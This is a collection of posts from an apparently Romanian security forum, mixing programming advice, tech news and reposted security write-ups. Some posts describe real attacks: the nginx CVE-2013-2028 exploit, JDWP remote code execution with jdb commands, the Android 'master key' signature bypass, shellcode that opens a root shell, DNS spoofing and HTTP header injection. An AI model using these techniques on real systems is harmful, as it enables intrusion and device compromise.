Nytro

Interesant... Ar trebui sa se poata, cam asta se intampla si la "Power save" cand nu mai e baterie la laptop. Ma uit momentan prin kernel, /drivers/cpufreq, pana acum pare sa fie ceva intr-un registru MSR. Par sa fie 2 registrii MSR: 1. MPERF: 0000_00E7h - maximum frequency clock count 2. APERF: 0000_00E8h - actual frequency clock count Pentru Linux ar trebui sa poti folosi MSR tools: https://www.kernel.org/pub/linux/utils/cpu/msr-tools/

De ce C++ si nu Python: 1. Pentru ca iti trebuie la facultate, sa te vad la admitere si examene cum scrii cod in Python... 2. Pentru ca e limbaj interpretat, in timp ce C++ e compilat. Adica Python necesita interpretor 3. C++ e mai rapid (direct pe procesor) 4. C++ consuma mai putina memorie (tipuri de date, nu are supraincarcarea generata de interpretor) Bine, practic trebuie doar sa te gandesti la punctul "2" si tragi multe concluzii. Vezi cateva idei: Is Python faster and lighter than C++? - Stack Overflow De ce Python si nu C++: 1. Scrii cod mai putin, deci scrii cod mai repede Bine, tu ai pus intrebarea incorect, ca si cum ai intreba: "Ce sa imi iau, un Lamborghini sau o Ducatii?" cand intrebareile corecte sunt "Lamborghini sau Ferarri?" si "Ducatti sau Suzuki?". Cu alte cuvinte, sunt 2 limbaje din categorii diferite. E important ce ai de gand sa faci cu ele.

Invata C/C++, o sa iti trebuiasca oricum la facultate. Sau Java.

nginx 1.3.9/1.4.0 x86 Brute Force Remote Exploit about a generic way to exploit Linux targets written by Kingcope Introduction In May 2013 a security advisory was announced at the nginx-announce mailing list [1] and a CVE identifier was assigned to the vulnerability. The vulnerability was discovered by Greg MacManus, of iSIGHT Partners Labs. CVE-2013-2028 is described as [2] follows. „The ngx_http_parse_chunked function in http/ngx_http_parse.c in nginx 1.3.9 through 1.4.0 allows remote attackers to cause a denial of service (crash) and execute arbitrary code via a chunked Transfer-Encoding request with a large chunk size, which triggers an integer signedness error and a stack-based buffer overflow.“ Recent versions of nginx http server use a HTTP 1.1 standard called chunked transfer encoding. Older versions of nginx do not support chunked transfers in HTTP requests. A third party module or source patch had to be installed to use chunked transfers. This quite new code in nginx contains the mentioned integer signedness error that results in a stack-based buffer overflow. This text will show how to exploit this bug on Linux platforms in a generic and brute force way. The exploit [3] relies on the fact that all memory addresses are randomized in process address space on the Linux platform today, only the process images address is not randomized and is found at a fixed address. This fact can be used to build exploits by only referencing the addresses of the process image. The first step to write an exploit for the current Linux platform is to find all addresses that are needed to build a ROP chain and execute shellcode. Interesting is that normally all addresses are hardcoded in exploit code. There are ways to minimize the amount of hardcoded addresses. By using less hardcoded addresses it is possible to target many Linux platforms at once with the same exploit code without the need to add offsets for each target platform. Nearly all offsets can be retrieved using brute force methods. The disadvantage is that brute forcing addresses can be noisy throughout the process. Download: www.exploit-db.com/download_pdf/27074

Information Security News: PayPal opens bug bounty program to minors

Details on NSA/FBI Eavesdropping We're starting to see Internet companies talk about the mechanics of how the US government spies on their users. Here, a Utah ISP owner describes his experiences with NSA eavesdropping: We had to facilitate them to set up a duplicate port to tap in to monitor that customer's traffic. It was a 2U (two-unit) PC that we ran a mirrored ethernet port to. [What we ended up with was] a little box in our systems room that was capturing all the traffic to this customer. Everything they were sending and receiving. Declan McCullagh explains how the NSA coerces companies to cooperate with its surveillance efforts. Basically, they want to avoid what happened with the Utah ISP. Some Internet companies have reluctantly agreed to work with the government to conduct legally authorized surveillance on the theory that negotiations are less objectionable than the alternative -- federal agents showing up unannounced with a court order to install their own surveillance device on a sensitive internal network. Those devices, the companies fear, could disrupt operations, introduce security vulnerabilities, or intercept more than is legally permitted. "Nobody wants it on-premises," said a representative of a large Internet company who has negotiated surveillance requests with government officials. "Nobody wants a box in their network...[Companies often] find ways to give tools to minimize disclosures, to protect users, to keep the government off the premises, and to come to some reasonable compromise on the capabilities." Precedents were established a decade or so ago when the government obtained legal orders compelling companies to install custom eavesdropping hardware on their networks. And Brewster Kahle of the Internet Archive explains how he successfully fought a National Security Letter. Sursa: Schneier on Security: Details on NSA/FBI Eavesdropping

Android 4.3 and Updated Developer Tools Posted by Dave Burke, Engineering Director, Android Platform Today in San Francisco we announced Android 4.3, a sweeter version of Jelly Bean that includes great new features for users and developers. Android 4.3 powers the new Nexus 7 tablet that's coming soon to Google Play and retail outlets, and it’s rolling out now as an update to Nexus 4, Nexus 7, Nexus 10, and Galaxy Nexus HSPA+ devices across the world. For developers, Android 4.3 includes the latest performance enhancements to keep your apps fast, smooth, and efficient, together with new APIs and capabilities to use in your apps. Here's a taste of what's new: OpenGL ES 3.0 — Game developers can now take advantage of OpenGL ES 3.0 and EGL extensions as standard features of Android, with access from either framework or native APIs. Bluetooth Smart — Now your apps can communicate with the many types of low-power Bluetooth Smart devices and sensors available today, to provide new features for fitness, medical, location, proximity, and more. Restricted profiles — Tablet owners can create restricted profiles to limit access to apps, for family, friends, kiosks, and more. Your app can offer various types of restrictions to let tablet owners control its capabilities in each profile. New media capabilities — A modular DRM framework enables media application developers to more easily integrate DRM into their own streaming protocols such as MPEG DASH. Apps can also access a built-in VP8 encoder from framework or native APIs for high-quality video capture. Notification access — Your apps can now access and interact with the stream of status bar notifications as they are posted. You can display them in any way you want, including routing them to nearby Bluetooth devices, and you can update and dismiss notifications as needed. Improved profiling tools — New tags in the Systrace tool and on-screen GPU profiling give you new ways to build great performance into your app. Check out the Android 4.3 platform highlights for a complete overview of what’s new for developers. To read more about the new APIs and how to use them, take a look at the API Overview or watch the new . Along with the new Android 4.3 platform we’re releasing an update to the Android NDK (r9). The new NDK gives you native access to the OpenGL ES 3.0 APIs and other stable APIs in Android 4.3, so if you use high-performance graphics in your games or apps, make sure to check it out. Last, we’ve updated the Android Support Library (r18) with several key APIs to help you build great apps with broad compatibility. Most important, we've added an Action Bar API to let you build this essential Android design pattern into your app with compatibility back to Android 2.1. For apps targeting RTL languages, there's a new BidiFormatter utility you can use to manage RTL strings with compatibility back to Android 2.1. Also, watch for a new RenderScript feature coming soon that will let you take advantage of hardware-accelerated computation with compatibility back to Android 2.2. You can get started developing and testing on Android 4.3 right away, in Android Studio or in ADT/Ant. You can download the Android 4.3 Platform (API level 18), as well as the SDK Tools, Platform Tools, and Support Library from the Android SDK Manager. Sursa: Android 4.3 and Updated Developer Tools | Android Developers Blog

ARP-Scan ARP Generation Tool 1.9 Authored by Roy Hills | Site nta-monitor.com arp-scan sends ARP (Address Resolution Protocol) queries to the specified targets, and displays any responses that are received. It allows any part of the outgoing ARP packets to be changed, allowing the behavior of targets to non-standard ARP packets to be examined. The IP address and hardware address of received packets are displayed, together with the vendor details. These details are obtained from the IEEE OUI and IAB listings, plus a few manual entries. It includes arp-fingerprint, which allows a system to be fingerprinted based on how it responds to non-standard ARP packets. Changes: This release adds support for ARM 64-bit CPUs and Dragonfly BSD, adds a --rtt (-D) option to display the packet round-trip time, uses libpcap functions to obtain the interface IP address and send the packet (to increase portability), requires libpcap 0.9.3 or later, raises the default timeout from 100ms to 500ms to avoid missed responses from slow-responding hosts, modifies the get-iab and get-oui scripts to the support new IEEE website URL and new file format (also fixes the -u option in these scripts), updates MAC/Vendor mapping files from the IEEE website, and adds additional arp-fingerprint patterns. Download: http://packetstormsecurity.com/files/download/122538/arp-scan-1.9.tar.gz Sursa: ARP-Scan ARP Generation Tool 1.9 ? Packet Storm

JDWP Exploitation Authored by prdelka This is a whitepaper discussing arbitrary java code execution leveraging the Java Debugging Wire Protocol (JDWP). JDWP Arbitrary Java Code Execution Exploitation =============================================== Java Debugging Wire Protocol (JDWP) is the lowlevel protocol used for communication between a debugger and a Java Virtual Machine (JVM) as outlined in the Java Platform Debugger Architecture. It is often used to facilitate remote debugging of a JVM over TCP/IP and can be identified by the initial protocol handshake ascii string "JDWP-Handshake", sent first by the client and responded to by the server. "jdb" is a proof-of-concept JDWP capable debugger included in Oracle JDK and OpenJDK which can be used to interact with remote JDWP capable services. Typically this service runs on TCP port 8000 however it can be found to run on arbitrary TCP ports and is sometimes found enabled inadvertantly on servers running Java services. It is possible to use this utility to exploit remote JVM's and execute arbitrary Java code. An example shown here outlines how to leverage this weakness to execute arbitrary host OS commands in the context of the JVM. $ jdb -attach x.x.x.x:8000 Set uncaught java.lang.Throwable Set deferred uncaught java.lang.Throwable Initializing jdb ... > Information leaks can be leveraged to determine details about the remote OS platform and Java installation configuration through the "classpath" command. > classpath base directory: C:\Windows\system32 classpath: [ ** MASKED ** list of jar's loaded in remote JVM ] bootclasspath: [ ** MASKED ** list of JRE paths ] > jdb is capable of performing remote object creation and method invokation from within the CLI using the "print" "dump" and "eval" commands with the "new" keyword. To determine the classes and methods available use the "classes" and then "methods" on the corrosponding class. > classes ... java.lang.Runtime ... > methods java.lang.Runtime ... java.lang.Runtime exec(java.lang.String[]) ... It is often necessary to set the JDB context to be within a suspended thread or breakpoint before attempting to create a new remote object class. Using the "trace go methods" function can be used to identify a candidate for a breakpoint and then "stop in your.random.class.method()" to halt the execution of a running thread. When the execution is halted you can use "print new" to create your class and invoke methods such as in the following example. Breakpoint hit: "thread=threadname",your.random.class.method(), line=745 bci=0 threadname[1] print new java.lang.Runtime().exec("cmd.exe /c dir") new java.lang.Runtime().exec("cmd.exe /c dir") = "java.lang.ProcessImpl@918502" threadname[1] cont > Exploitation success will be determined from the output of the JDB process as functions returning "null" or errors about "unsuspended thread state" would indicate that exploitation was unsuccessful, however in the example above we can see that the java created a new object "java.lang.ProcessImpl@918502" indicating the "cmd.exe /c dir" was executed with success. On Linux this may need adjusting to "java.lang.Runtime.getRuntime().exec()" however see the method / class enumeration when attempting to exploit this flaw. Your java will be executed in the context of the running JVM application, this has been identified on services running as both "root" (*nix) and "SYSTEM" (win32) in the wild. -- prdelka Sursa: JDWP Exploitation ? Packet Storm

[Tutorial] Dns Spoofing With S.E.T. And Ettercap [Kali Linux] Description: DNS Spoofing with S.E.T. (Social Engineering Toolkit) & Ettercap This tutorial work in LAN. Follow DarkSoloNetwork on Facebook: https://www.facebook.com/pages/Darkso... and Twitter: https://twitter.com/DarkSoloNetwork IMPORTANT : DarkSoloNetwork assumes no responsibility for misuse of the information contained in the video. Sursa: [Tutorial] Dns Spoofing With S.E.T. And Ettercap [Kali Linux]

Am colorat.

Da, asta alesesem si eu initial, dar e o varianta mult mai ok

Normal, nu e EXPLOIT, e SHELLCODE. Vedeti tutorialele facute de neox. Pe scurt: 1. Ai un program/server (Apache HTTPD de exemplu) pe Linux 2. Acel program are un buffer static: char buffer[100] 3. Cand intri pe o pagina web: GET /pagina.php HTTP/1.1, acest rand e pus in acel buffer 4. Daca pui peste 100 de caractere: GET /paginaaaaaaaaaaaaaaaaaaaaaaaaaa...aaaaaaaaaaaaaaa.php se depaseste dimensiuea acelui buffer 5. Ceea ce depaseste acest buffer, in conditii optime, poate suprascrie EIP-ul (codul in executie) 6. Prin exploatarea acestei probleme tu ajungi la posibilitatea de a rula cod, ca cel de mai sus, shellcode, in locul codului programului respectiv 7. Codul (de mai sus), se executa, si iti ofera un shell, ca tu, om rau, sa executi comenzi rele E doar ideea, foarte pe scurt. NU iti exploateaza o problema din kernel ca sa "fii root". Doar deschide un shell. Vedeti asta: setuid - Wikipedia, the free encyclopedia

Vorbeam cu niste colegi, cateva lucruri interesante de programarea in C/C++. 1. Ai o structura, nu stii exact ce campuri are (ce tipuri). Cum afli dimensiunea unei astfel de structuri fara a folosi operatorul sizeof? 2. Ai un sir de n numere. Cum gasesti si minimul, si maximul, efectuand maxim 3n / 2 comparatii? 3. Ai n siruri de numere (vectori), fiecare avand m numere, ordonate crescator. Cum creezi un singur sir, ordonat, cu toate acele numere, in mod optim. Complexitatea: O(n * m * log n) 4. Cum fortezi ca o clasa sa nu poata fi mostenita (acel "final" din Java)? Fara C++0x sau extensii Microsoft. Intrebarea e dificila, va dau un indiciu: friend. 5. Ai: int x = 3; *(char *)&x = 5; Cat va fi x? 6. Cum ati implementa o clasa care sa faca acelasi lucru ca shared_ptr? Luati in considerare operatii ca Clasa x; Clasa y = x; z = x; Daca imi mai aduc aminte, revin cu mai multe. Puteti raspunde aici, sa discutam parerile, sau daca va e lene, e ok si doar sa va ganditi la ele.

[root@rstforums ~]# as test.asm -o object.o [root@rstforums ~]# ld object.o -o shell [root@rstforums ~]# ./shell sh-3.2# Nu e un privilege escalation exploit, e doar un shellcode care deschide un shell. 1. setuid: http://linux.die.net/man/2/setuid 2. execve: /bin/sh

Nu conteaza. Oricum, nu 10 RON pe care i-ati da voi.

Suntem 14 persoane in staff, majoritatea suntem salariati, ne descurcam noi.

Sponsorizati niste concursuri cu banii pe care vreti sa ii donati.

Exploit (& Fix) Android "Master Key" Earlier this year, Bluebox Security announced that they had found a bug in Android that could be used to modify the contents of any application package (including ones distributed as part of the system software) without affecting the attached cryptographic signatures; details to be disclosed at Black Hat USA 2013. However, enough detail was disclosed in the abstract of the talk that others were able to find this bug. Later, a patch was applied to the popular open-source Android ROM CyanogenMod, making the issue both public and obvious: there are now proof-of-concepts for how this bug might be used in concrete form. In this article, I describe a different approach to the exploitation of bug #8219321 that does not fall prey to the limitations of previous descriptions (specifically, the packages being attacked do not need to have an existing "classes.dex" file inside, which is not actually common on production devices). This technique is simple enough that it can be performed by hand; this article walks the user through the process, allowing a full understanding of how the exploit is performed. However, an automated tool called Impactor is also introduced that is capable of performing this process on virtually any Android device. Finally, details of how the underlying bug behind this exploit can be patched using the Cydia Substrate code modification framework are provided, along with a concrete implementation that can be installed on any device supported by Substrate. In the process, an overview of existing work in this area is provided. Many people reading this article will be doing so only to learn about how to use Cydia Impactor to exploit their device. The download links are: Mac OS X and Windows. This article includes instructions (using local.prop) under "Obtaining Root" that work up through approximately Android 4.1, including Glass and Google TV. Background Information A few months ago, the schedule for the yearly Black Hat USA conference was posted. With a catchy title and a powerful abstract, one talk in particular caught the eye of many people browsing the conference: Android: One Root to Own Them All. The abstract is as follows, discussing an undisclosed vulnerability. This presentation is a case study showcasing the technical details of Android security bug 8219321, disclosed to Google in February 2013. The vulnerability involves discrepancies in how Android applications are cryptographically verified & installed, allowing for APK code modification without breaking the cryptographic signature; that in turn is a simple step away from system access & control. A lot of discussion occurred regarding this bug, but few details were available past that abstract and a couple cryptic posts to Twitter by Bluebox Security, the company whose founders were giving the talk. It was over a month later that further information was published by Jeff Forristal, the discoverer of the bug. In their blog post, Uncovering Android Master Key that Makes 99% of Devices Vulnerable, a rather bleak picture was painted of the threat posed by this discovery, and in the weeks that followed, the story generated a lot of press, being covered by everything from TechCrunch to the LA Times. Play Store Safety On Android, all applications are signed by their developers using private cryptographic keys; it is by comparing the certificates used to verify these signatures that Android's package manager determines whether applications are allowed to share information, or what permissions they are able to obtain. Even the system software itself is signed by the manufacturer of the device; applications signed by that same key are thereby able to do anything that the system software can. Normally, this is only possible if you are the manufacturer; however, using bug #8219321, anyone could steal those signatures for their own. A key concern this raises is that applications in the wild might be signed with the system keys of your device; while you think you are just installing a harmless game, that application would look to the package manager as if it came from the manufacturer, giving it elevated and dangerous system permissions. Thankfully, in the CIO article Vulnerability allows attackers to modify Android apps without breaking their signatures, we learn from Forristal that when Google was made aware of this bug by Bluebox Security, they did not find packages exploiting this bug in their Android application market, the Play Store. Using Google Play to distribute apps that have been modified to exploit this flaw is not possible because Google updated the app store's application entry process in order to block apps that contain this problem, Forristal said. The information received by Bluebox from Google also suggests that no existing apps from the app store have this problem, he said. Another potential exploit vector are packages that have the permission to install other packages. Interestingly, and as noted in H-Online's article Android's code signing can be bypassed, "Google blocked non-Play-Store updating in April this year". That policy being a workaround for this security issue is a compelling thought. Responsible Disclosure Of course, as many of my readers are keenly aware, there are non-malicious reasons to be interested in such vulnerabilities. Many users have devices that are locked down by manufacturers or carriers for any number of dubious reasons. To free these devices, exploits are often used to empower the user. The result is that many times, bugs like this are hoarded and used by groups such as evad3rs without any warning or notice to those who might be affected, for the purpose of accessing locked up devices. This is, of course, a dangerous game to play; but, it is one that some of us feel we must attempt. With bug #8219321, Bluebox Security made a point that they felt "responsible disclosure" was important, notifying Google about the bug well before Black Hat, when the bug was to be disclosed to the public. (Jeff Forristal is reportedly even "responsible for the first publicized responsible security disclosure policy".) However, there was an abstract posted that explained that there was a signature vulnerability; a few of us in the security community were able to find this bug based on this information alone: knowing where to look and knowing there's something there to find makes the process of discovery much much easier. Finding the Bug In my case, I had previously looked at the handling of zip files while commenting on a bug someone had found in 2012, Ice Cream Sandwich: why native code support sucks. In my comment, I described the hashtable used to read an archive; so, when I looked at the code used to verify the archive, the bug was quite clear. Once I had found the bug, I was posed with a moral quandary: do I release a tool that helps people use and patch this vulnerability, or do I wait until it is disclosed to the public at Black Hat? After some consultation with other security researchers on IRC, I purchased a ticket to Black Hat, tentatively deciding to wait. In the end, however, Bluebox Security made a point about drumming up more press about the issue, which led to more speculation and more eyeballs. While frankly, we should assume that the truly scary adversaries had the bug within hours of the Black Hat schedule being posted, now it was nigh-unto public knowledge. To demonstrate just how easily this could be found, someone commenting on Hacker News managed to figure it out using only idle speculation based on reading a description of the jar signing algorithm; in ctz's comment, he describes two possibilities, the first one being the same bug found by Bluebox Security. The zip format doesn't structurally guarantee uniqueness of names in file entries. If the APK signature verification chooses the first matching file entry for a given name, and unpacking chooses the last then you're screwed in the way described. Soon thereafter, an issue was filed against CyanogenMod (an open-source alternative distribution of Android), Patch for Android bug security bug 8219321?; and coming right on its heels was a patch for the bug posted to their revision control system, Remove support for duplicate file entries. The bug is now public. APK Verification To some extent, I don't really need to describe the bug anymore, as this has been done by others; one highly-detailed blog even posted an entire series of articles (seven so far) documenting the bug called The Great Android Security Hole Of ’08 ?. However, as the way I exploit the issue is different, I will need to re-document the bug. The core issue is that Android package (APK) files are parsed and verified by a different implementation of "unzip a file" than the code that eventually loads content from the package: the files are verified in Java, using Harmony's ZipFile implementation from libcore, while the data is loaded from a C re-implementation. The way that these two implementations handle multiple files with the same name occurring in the zip file differs. The way the Java implementation reads the file is that it goes through the "central directory" and adds each entry to a LinkedHashMap. The key the entry is stored using is the name of the file. .... Articol complet: http://www.saurik.com/id/17

E in regula, l-am citit inainte de a posta, de aceea l-am postat. Sunt 2 syscall-uri: - setuid - execve Corespund cu cele de aici: >Ryan A. Chapman | Linux System Call Table for x86_64 Iar acea "linie" este "hs//nib/" => /bin/sh

Nu stiu daca vom mai deschide donatiile.

coolbyte : Asteapta cateva zile. Nu platesc doar eu, cei din staff platim, dar costa ceva. Revenim cu mai multe informatii zilele urmatoare.

https://rstforums.com/proiecte/DK_v3.3.zip E sursa, se poate compila. Cand ajung acasa.

Pare sa fie o aceeasi problema ca si CRLF-urile de la formularele de email (SMTP si HTTP folosesc acelasi delimitator de headere, \r\n): CRLF Injection (CRLF Injection attacks and HTTP Response Splitting - Acunetix) doar cu un nume mai trendy. Sau ii putem zice HTTP Response Splitting, mai generic (HTTP response splitting - Wikipedia, the free encyclopedia). In orice caz, este XSS (daca nu sunt filtrate datele). In loc sa generezi ca raspuns un alt set de headere HTTP, mai bine generezi tu un cod HTML/JS care face cine stie ce prostii. Din acest motiv, sigur, e vulnerabilitate. Dar uite niste idei: - poti pune header de descarcare de fisier: "Content-Disposition: attachment; filename=MyFileName.ext" si poti forta descarcarea unui fisier, care provine dintr-o sursa "sigura" - poti pune Location catre ce vrei tu, deci ai URL redirection sau cum va place sa ii ziceti, cu "Location" - poti seta diverse cookie-uri cu "Set-Cookie" Legat strict de ce zici tu, de acel "Cross User Defacement" adica de posibilitatea de a raspunde cu 2 (sau mai multe) raspunsuril HTTP, nu e o problema de web security: 1. Ai nevoie de acea "shared connection" care in practica nu cred ca e foarte comun 2. Este o problema, DAR este o problema in porcaria de server de proxy cache, NU in aplicatia web Cross-user defacement si web cache poisoning sunt probleme in servere de proxy cache. Da, atat la nivel teoretic cat si la nivel practic, nu este in regula sa existe posibilitatea de a modifica headerele de raspuns. E cam urat de exploatat dar tot o problema ramane, insa nu una foarte periculoasa. Voi vota ca "da", ca e o problema de securitate, dar una "Low", nu foarte periculoasa. Cum altfel ai putea exploata asa ceva? Legat de raspunsul lor, cred ca nu au inteles exact despre ce e vorba. Mie numele (Cross User Defacement) mi se pare o porcarie gay.

3 warn-uri care au rezultat in 3 ban-uri. Vorbiti mult si prost.